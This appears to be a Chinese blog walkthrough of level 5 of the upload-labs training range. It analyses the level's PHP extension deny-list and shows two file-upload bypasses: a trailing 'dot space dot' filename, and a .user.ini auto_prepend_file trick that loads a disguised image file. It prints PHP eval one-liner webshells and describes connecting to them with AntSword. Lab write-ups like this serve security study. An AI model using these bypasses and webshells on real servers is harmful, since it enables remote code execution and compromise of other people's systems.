upload-labs第五关教程
一、源代码分析
代码审计
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
可以发现相对于上一关来说,连htaccess后缀名都进行了过滤,但是对于ini文件后缀并没有进行过滤,所以是不是可以考虑通过上传user.ini文件进行绕过?还有一点和上一关一样的是对空格和点只进行了一次过滤,所以还是可以考虑点空格点绕过。
.user.ini介绍
php.ini是php的全局配置文件,对整个web服务起作用,.user.ini和.htaccess都是目录的配置文件,.user.ini是用户自定义的php.ini,通常构造后门和隐藏后门。
自 PHP 5.3.0 起,PHP 支持基于每个目录的 .htaccess 风格的 INI 文件。此类文件仅被 CGI/FastCGI
SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果使用 Apache,则用 .htaccess 文件有同样效果。
官方解释:
除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER[‘DOCUMENT_ROOT’] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。
这些模式决定着一个 PHP 的指令在何时何地,是否能够被设定。手册中的每个指令都有其所属的模式。例如有些指令可以在 PHP 脚本中用 ini_set() 来设定,而有些则只能在 php.ini 或 httpd.conf 中
这一串的网址可以在这位大佬这里学习 链接。
二、绕过分析
1)点空格点绕过
上传一个eval.php文件
<?php @eval($_POST['hacker']); ?>
使用burp suite进行抓包修改
修改之前:
这里可以发现filename是eval.php,我们将其修改为eval.php. .。
修改之后:
这里我将filename修改为了eval.php. .
放包
发现上传成功,且以eval.php.进行上传成功的。
进行中国蚁剑连接
URL为http://192.168.1.138/upload-labs-master/upload/eval.php.
连接成功。
2).user.ini绕过
这里需要将php的版本切换至5.3以上的版本
编写一个.user.ini文件
auto_prepend_file=eval.png
借助.user.ini轻松让所有php文件都“自动”包含某个文件,而这个文件可以是一个正常php文件,也可以是一个包含一句话的webshell。
修改配置文件php.ini
将user_ini_cache_ttl改为10,这里的300是代指的300s那就是五分钟,生效时间为5分钟。
修改之后记得重启一下phpstudy。
将.user.ini保存在www文件夹下。
再上传eval.png
这里emmm先上传.user.ini文件,再上传eval.png文件。
<?php @eval($_POST['cmd']); ?>
这里先看.user.ini是否上传成功,如下:
上传成功。
然后上传eval.png。
上传成功。
使用中国蚁剑进行连接
URL为:http://192.168.1.10/upload-labs-master/upload/readme.php
如果有问题的话可以私信问我
标签:教程,eval,upload,labs,ini,file,php,上传,user From: https://blog.csdn.net/m0_73528952/article/details/139515047